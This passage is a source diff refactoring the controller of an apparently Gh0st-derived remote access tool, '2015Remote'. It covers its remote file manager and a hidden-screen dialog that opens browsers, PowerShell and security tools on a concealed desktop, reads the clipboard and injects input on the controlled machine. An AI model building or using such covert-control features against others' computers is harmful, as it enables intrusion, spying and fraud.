-CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
-	: CDialog(CFileManagerDlg::IDD, pParent)
+CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
+	: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
 {
 	m_fScalingFactor = GetScreenScalingFactor();
 	//{{AFX_DATA_INIT(CFileManagerDlg)
@@ -52,7 +55,6 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
 		sizeof(SHFILEINFO), 
 		SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
 		);
-	m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER));
 	// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
 	static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
 		(
@@ -77,21 +79,10 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
 	static CImageList *pSmall = CImageList::FromHandle(hImageList_Small);
 	m_pImageList_Small = pSmall;

-	// <20><>ʼ<EFBFBD><CABC>Ӧ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>СΪ0
-
-	m_iocpServer	= pIOCPServer;
-	m_pContext		= pContext;
-	sockaddr_in  sockAddr;
-	memset(&sockAddr, 0, sizeof(sockAddr));
-	int nSockAddrLen = sizeof(sockAddr);
-	BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
-	
-	m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
-
 	// <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
 	memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
-	PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1);
-	int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
+	PBYTE pSrc = m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
+	int length = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1;
 	if (length > 0)
 		memcpy(m_bRemoteDriveList, pSrc, length);

@@ -895,20 +886,15 @@ void CFileManagerDlg::FixedRemoteDriveList()

 void CFileManagerDlg::OnClose() 
 {
-	// TODO: Add your message handler code here and/or call default
+	CancelIO();
+	// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}
 	CoUninitialize();

-#if CLOSE_DELETE_DLG
-	m_pContext->v1 = 0;
-#endif
-
-	closesocket(m_pContext->m_Socket);
-
-	CDialog::OnClose();
-	m_bIsClosed = true;
-#if CLOSE_DELETE_DLG
-	//delete this; //<2F>˴<EFBFBD><CBB4>ͷ<EFBFBD><CDB7>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ڵ<EFBFBD>2<EFBFBD>α<EFBFBD><CEB1><EFBFBD>
-#endif
+	DialogBase::OnClose();
 }

 CString CFileManagerDlg::GetParentDirectory(CString strPath)
@@ -935,15 +921,15 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath)

 void CFileManagerDlg::OnReceiveComplete()
 {
-	switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
+	switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0])
 	{
 	case TOKEN_FILE_LIST: // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
 		try
 		{
 			FixedRemoteFileList
 			(
-				m_pContext->m_DeCompressionBuffer.GetBuffer(0),
-				m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
+				m_ContextObject->m_DeCompressionBuffer.GetBuffer(0),
+				m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1
 			);
 		}
 		catch (CMemoryException* e)
@@ -1039,7 +1025,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)

 	bPacket[0] = COMMAND_LIST_FILES;
 	memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
-	m_iocpServer->Send(m_pContext, bPacket, PacketSize);
+	m_ContextObject->Send2Client(bPacket, PacketSize);
 	LocalFree(bPacket);

 	m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -1498,7 +1484,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
 	bPacket[0] = COMMAND_DOWN_FILES;
 	// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
 	memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
-	m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
+	m_ContextObject->Send2Client(bPacket, nPacketSize);

 	LocalFree(bPacket);
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1555,7 +1541,7 @@ BOOL CFileManagerDlg::SendUploadJob()
 	memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
 	memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
 	
-	m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
+	m_ContextObject->Send2Client(bPacket, nPacketSize);

 	LocalFree(bPacket);

@@ -1586,7 +1572,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
 	}
 	// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
 	memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
-	m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
+	m_ContextObject->Send2Client(bPacket, nPacketSize);
 	
 	LocalFree(bPacket);
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1614,14 +1600,14 @@ void CFileManagerDlg::CreateLocalRecvFile()
 		strDestDirectory += m_hCopyDestFolder + "\\";
 	}

-	FILESIZE	*pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
+	FILESIZE	*pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
 	DWORD	dwSizeHigh = pFileSize->dwSizeHigh;
 	DWORD	dwSizeLow = pFileSize->dwSizeLow;

 	m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;

 	// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
-	m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9);
+	m_strOperatingFile = m_ContextObject->m_DeCompressionBuffer.GetBuffer(9);

 	m_strReceiveLocalFile = m_strOperatingFile;

@@ -1766,7 +1752,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
 	else
 	{
 		// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
-		m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
+		m_ContextObject->Send2Client(bToken, sizeof(bToken));
 	}
 }

@@ -1780,16 +1766,16 @@ void CFileManagerDlg::WriteLocalRecvFile()
 	int		nHeadLength = 9; // 1 + 4 + 4  <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
 	FILESIZE	*pFileSize;
 	// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
-	pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
+	pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength);

-	pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
+	pFileSize = (FILESIZE *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
 	// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>, <20><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);

 	LONG	dwOffsetHigh = pFileSize->dwSizeHigh;
 	LONG	dwOffsetLow = pFileSize->dwSizeLow;

-	dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
+	dwBytesToWrite = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;

 	HANDLE	hFile = 
 		CreateFile
@@ -1839,7 +1825,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
 		dwOffsetLow += dwBytesWrite;
 		memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
 		memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
-		m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
+		m_ContextObject->Send2Client(bToken, sizeof(bToken));
 	}
 }

@@ -1913,19 +1899,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
 void CFileManagerDlg::SendException()
 {
 	BYTE	bBuff = COMMAND_EXCEPTION;
-	m_iocpServer->Send(m_pContext, &bBuff, 1);
+	m_ContextObject->Send2Client(&bBuff, 1);
 }

 void CFileManagerDlg::SendContinue()
 {
 	BYTE	bBuff = COMMAND_CONTINUE;
-	m_iocpServer->Send(m_pContext, &bBuff, 1);
+	m_ContextObject->Send2Client(&bBuff, 1);
 }

 void CFileManagerDlg::SendStop()
 {
 	BYTE	bBuff = COMMAND_STOP;
-	m_iocpServer->Send(m_pContext, &bBuff, 1);
+	m_ContextObject->Send2Client(&bBuff, 1);
 }

 void CFileManagerDlg::ShowProgress()
@@ -2085,12 +2071,12 @@ void CFileManagerDlg::SendTransferMode()
 	BYTE bToken[5];
 	bToken[0] = COMMAND_SET_TRANSFER_MODE;
 	memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
-	m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken));
+	m_ContextObject->Send2Client((unsigned char *)&bToken, sizeof(bToken));
 }

 void CFileManagerDlg::SendFileData()
 {
-	FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
+	FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
 	LONG	dwOffsetHigh = pFileSize->dwSizeHigh ;
 	LONG	dwOffsetLow = pFileSize->dwSizeLow;

@@ -2130,7 +2116,7 @@ void CFileManagerDlg::SendFileData()
 	if (nNumberOfBytesRead > 0)
 	{
 		int	nPacketSize = nNumberOfBytesRead + nHeadLength;
-		m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
+		m_ContextObject->Send2Client(lpBuffer, nPacketSize);
 	}
 	LocalFree(lpBuffer);
 }
@@ -2209,7 +2195,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
 		LPBYTE	lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
 		lpBuffer[0] = COMMAND_CREATE_FOLDER;
 		memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
-		m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
+		m_ContextObject->Send2Client(lpBuffer, nPacketSize);
 		LocalFree(lpBuffer);
 	}
 }
@@ -2276,7 +2262,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
 		memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
 		memcpy(lpBuffer + 2 + strExistingFileName.GetLength(), 
 			strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
-		m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
+		m_ContextObject->Send2Client(lpBuffer, nPacketSize);
 		LocalFree(lpBuffer);
 	}
 	*pResult = 1;
@@ -2345,7 +2331,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
 	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
 	lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
 	memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
-	m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
+	m_ContextObject->Send2Client(lpPacket, nPacketLength);
 	LocalFree(lpPacket);
 }

@@ -2359,7 +2345,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
 	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
 	lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
 	memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
-	m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
+	m_ContextObject->Send2Client(lpPacket, nPacketLength);
 	LocalFree(lpPacket);
 }

--- a/server/2015Remote/FileManagerDlg.h
+++ b/server/2015Remote/FileManagerDlg.h
@@ -26,13 +26,9 @@ typedef struct

 #define m_Socket sClientSocket

-#define Send OnClientPreSending
-
 #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))

 #define	MAX_WRITE_RETRY			15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
-#define	MAX_SEND_BUFFER			1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
-#define MAX_RECV_BUFFER			1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>

 #define WM_MY_MESSAGE (WM_USER+300)

@@ -43,7 +39,7 @@ typedef struct
 // CFileManagerDlg dialog
 typedef CList<CString, CString&> strList;

-class CFileManagerDlg : public CDialog
+class CFileManagerDlg : public DialogBase
 {
 protected:
 	// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
@@ -94,10 +90,6 @@ public:

 	int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON

-	ClientContext* m_pContext;
-	CIOCPServer* m_iocpServer;
-	CString m_IPAddress;
-
 	CProgressCtrl* m_ProgressCtrl;
 	HCURSOR m_hCursor;
 	CString m_Local_Path;
@@ -108,10 +100,9 @@ public:
 	void GetRemoteFileList(CString directory = "");
 	void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);

-	HICON m_hIcon;
 	CStatusBar m_wndStatusBar;
-	CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL);   // standard constructor
-	bool m_bIsClosed;
+	CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL);   // standard constructor
+
 	~CFileManagerDlg()
 	{
 		if(m_ProgressCtrl) delete m_ProgressCtrl;
--- a/server/2015Remote/HideScreenSpyDlg.cpp
+++ b/server/2015Remote/HideScreenSpyDlg.cpp
@@ -37,16 +37,13 @@ enum {

 IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)

-CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
-    : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, 0)
+CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
+    : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
 {
-    m_iocpServer = pIOCPServer;
-    m_ContextObject = pContext;
    m_bIsFirst = true; // 如果是第一次打开对话框，显示提示等待信息
    m_BitmapData_Full = NULL;
    m_lpvRectBits = NULL;
-    m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SCREENSYP));
-    m_IPAddress = m_ContextObject->GetPeerName().c_str();
+
    UINT	nBISize = m_ContextObject->GetBufferLength() - 1;
    m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize];
    m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize];
@@ -60,7 +57,7 @@ CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, Cl

 CHideScreenSpyDlg::~CHideScreenSpyDlg() {
 	m_bIsClosed = TRUE;
-	m_iocpServer->Disconnect(m_ContextObject);
+    m_ContextObject->GetServer()->Disconnect(m_ContextObject);
 	DestroyIcon(m_hIcon);
 	Sleep(200);
 	if (!m_aviFile.IsEmpty()) {
@@ -97,7 +94,12 @@ END_MESSAGE_MAP()
 // CHideScreenSpyDlg message handlers
 void CHideScreenSpyDlg::OnClose()
 {
-    m_ContextObject->CancelIO();
+    CancelIO();
+	// 等待数据处理完毕
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}

 	CDialogBase::OnClose();
 }
@@ -245,7 +247,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
    m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
    SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
    BYTE	bBuff = COMMAND_NEXT;
-    m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+    m_ContextObject->Send2Client(&bBuff, 1);
 #ifdef _DEBUG
    // ShowWindow(SW_MINIMIZE);
 #endif
@@ -445,7 +447,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
        return;
    case IDM_SET_FLUSH: {
        BYTE	bToken = COMMAND_FLUSH_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
    }
    break;
    case IDM_CONTROL: {
@@ -496,7 +498,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
    break;
    case IDM_GET_CLIPBOARD: { // 获取剪贴板
        BYTE	bToken = COMMAND_SCREEN_GET_CLIPBOARD;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
    }
    break;
    case IDM_SET_CLIPBOARD: { // 设置剪贴板
@@ -505,24 +507,24 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
    break;
    case IDM_SETSCERRN: {
        BYTE	bToken = COMMAND_SCREEN_SETSCREEN_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
    }
    break;
    case IDM_QUALITY60: { // 清晰度60
        BYTE	bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
        pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND);
    }
    break;
    case IDM_QUALITY85: { // 清晰度85
        BYTE	bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
        pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
    }
    break;
    case IDM_QUALITY100: { // 清晰度100
        BYTE	bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
        pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND);
    }
    break;
@@ -541,84 +543,84 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Explorer;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case 	IDM_OPEN_run: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_run;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case 	IDM_OPEN_Powershell: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Powershell;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case	IDM_OPEN_Chrome: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Chrome;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case	IDM_OPEN_Edge: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Edge;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case	IDM_OPEN_Brave: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Brave;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case	IDM_OPEN_Firefox: {
        BYTE bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Firefox;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case	IDM_OPEN_Iexplore: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_Iexplore;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case IDM_OPEN_ADD_1: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_ADD_1;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case 	IDM_OPEN_ADD_2: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_ADD_2;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case 	IDM_OPEN_ADD_3: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_ADD_3;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case 	IDM_OPEN_ADD_4: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_ADD_4;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case	IDM_OPEN_zdy: {
@@ -633,7 +635,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
            lpPacket[0] = COMMAND_HIDE_USER;
            lpPacket[1] = IDM_OPEN_zdy;
            memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2);
-            m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+            m_ContextObject->Send2Client(lpPacket, nPacketLength);
            delete[] lpPacket;

        }
@@ -659,7 +661,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
            lpPacket[0] = COMMAND_HIDE_USER;
            lpPacket[1] = IDM_OPEN_zdy2;
            memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2);
-            m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+            m_ContextObject->Send2Client(lpPacket, nPacketLength);
            delete[] lpPacket;
        }
        EnableWindow(TRUE);
@@ -669,27 +671,27 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_360JS;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
        break;
    }
    case 	IDM_OPEN_360AQ: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_360AQ;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
    }
    break;
    case 	IDM_OPEN_360AQ2: {
        BYTE	bToken[2];
        bToken[0] = COMMAND_HIDE_USER;
        bToken[1] = IDM_OPEN_360AQ2;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
        break;
    }
    case	IDM_OPEN_close: {
        LPBYTE	lpPacket = new BYTE;
        lpPacket[0] = COMMAND_HIDE_CLEAR;
-        m_iocpServer->Send2Client(m_ContextObject, lpPacket, 1);
+        m_ContextObject->Send2Client(lpPacket, 1);
        delete lpPacket;
    }
    break;
@@ -775,7 +777,7 @@ void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg)
    LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1];
    lpData[0] = COMMAND_SCREEN_CONTROL;
    memcpy(lpData + 1, &pMsg, sizeof(MYMSG));
-    m_iocpServer->Send2Client(m_ContextObject, lpData, sizeof(MYMSG) + 1);
+    m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1);

    SAFE_DELETE_ARRAY(lpData);
 }
@@ -814,7 +816,7 @@ void CHideScreenSpyDlg::SendServerClipboard()
    memcpy(lpData + 1, lpstr, nPacketLen - 1);
    ::GlobalUnlock(hglb);
    ::CloseClipboard();
-    m_iocpServer->Send2Client(m_ContextObject, lpData, nPacketLen);
+    m_ContextObject->Send2Client(lpData, nPacketLen);
    delete[] lpData;
 }

--- a/server/2015Remote/HideScreenSpyDlg.h
+++ b/server/2015Remote/HideScreenSpyDlg.h
@@ -29,12 +29,12 @@ class CHideScreenSpyDlg : public DialogBase {
    enum { IDD = IDD_SCREEN };

 public:
-    CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+    CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
    virtual ~CHideScreenSpyDlg();

 	VOID SendNext(void) {
 		BYTE	bToken = COMMAND_NEXT;
-		m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+		m_ContextObject->Send2Client(&bToken, 1);
 	}
    void OnReceiveComplete();
 	BOOL ParseFrame(void);
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -5,35 +5,6 @@
 #include <iostream>
 #include <ws2tcpip.h>

-// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
-#include "zlib/zlib.h"
-
-#if USING_LZ4
-#include "lz4/lz4.h"
-#pragma comment(lib, "lz4/lz4.lib")
-#define C_FAILED(p) (0 == (p))
-#define C_SUCCESS(p) (!C_FAILED(p))
-#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
-#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
-#else // ZSTD
-#include "zstd/zstd.h"
-#ifdef _WIN64
-#pragma comment(lib, "zstd/zstd_x64.lib")
-#else
-#pragma comment(lib, "zstd/zstd.lib")
-#endif
-#define C_FAILED(p) ZSTD_isError(p)
-#define C_SUCCESS(p) (!C_FAILED(p))
-#define ZSTD_CLEVEL 5
-#if USING_CTX
